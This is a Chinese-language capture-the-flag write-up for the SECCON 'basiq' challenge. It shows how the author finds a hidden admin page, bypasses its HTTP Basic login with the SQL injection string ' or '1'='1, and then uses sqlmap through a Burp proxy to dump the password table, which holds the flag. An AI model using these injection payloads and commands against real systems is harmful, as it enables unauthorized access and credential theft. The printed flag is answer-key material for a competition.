題目
主要目的是要我們找出管理員的密碼 題目在這邊
看樣子這是一個賽馬的網站呢, 既然如此那就讓我來賽個馬吧!, 玩著玩著就輸到脫褲子了…(沒天賦
過程
麻, 看樣子目標根本不是要讓我賽馬得冠軍, 獎品也不是管理員密碼, 只好認份的開始追蹤各種 API, 在測試了一輪後發現前台應該沒有洞
既然API本身沒有洞, 那就來看看 HTML 跟 JS 有沒有藏什麼東西吧!
在追蹤的過程中發現 javascripts/client.js
的 login 內有關於管理員的相關功能
function login(message){
if(message.status!=='OK'){
alert(message.error);
return;
}
loginuser = message.data;
$.getJSON('keiba.cgi?action=expenditure', expenditure);
var links = [{label:'Race Information',href:'/'},{label:'My Page',href:'/mypage.cgi'}];
if(loginuser == 'admin'){
links.push({label:'Admin', href:'/admin/'});
}
// ..... 省略
來去逛逛 /admin/ 吧!!, 誒誒誒誒…竟然要密碼耶(這不是廢話嗎XD
來試試看老招吧, admin/' or '1'='1
於是就成功登進去了, 看樣子目標的洞在這裡啊
由於 HTTP Basic Authorization 要 經過 base64 encode, 但 sqlmap 並不能直接注入這個點, 因此得靠 proxy 去做 base64 encode
後來找到發現 Burpsuite 有插件 Encode Authorization Header 可以使用
因為注入點很奇怪, 所以要自行定義, 在錄製檔中用 * 表示注入點, sqlmap 會自己抓到
GET /admin/ HTTP/1.1
Host: basiq.pwn.seccon.jp
Authorization:Basic admin:*
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
接著呼叫 sqlmap
python sqlmap.py -r basiq.txt --ignore-401 --proxy=http://127.0.0.1:8080 --dbms mysql --threads 10 --dbs
由於注入點不在url 上, 也不是 POST, 因此 sqlmap 會詢問以下問題確認注入的位置
do you want to try URI injections in the target URL itself? [Y/n/q] n
custom injection marking character ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] Y
最終取得 admin 的密碼
Database: keiba
Table: ☹☺☻
[2 entries]
+----+-------+------------------+
| id | name | pass |
+----+-------+------------------+
| 0 | admin | SECCON{Carnival} |
| 1 | aa | ' or 1;# |
+----+-------+------------------+
Flag
SECCON{Carnival}
後記
用 emoji 當 table name 實在是很有梗啊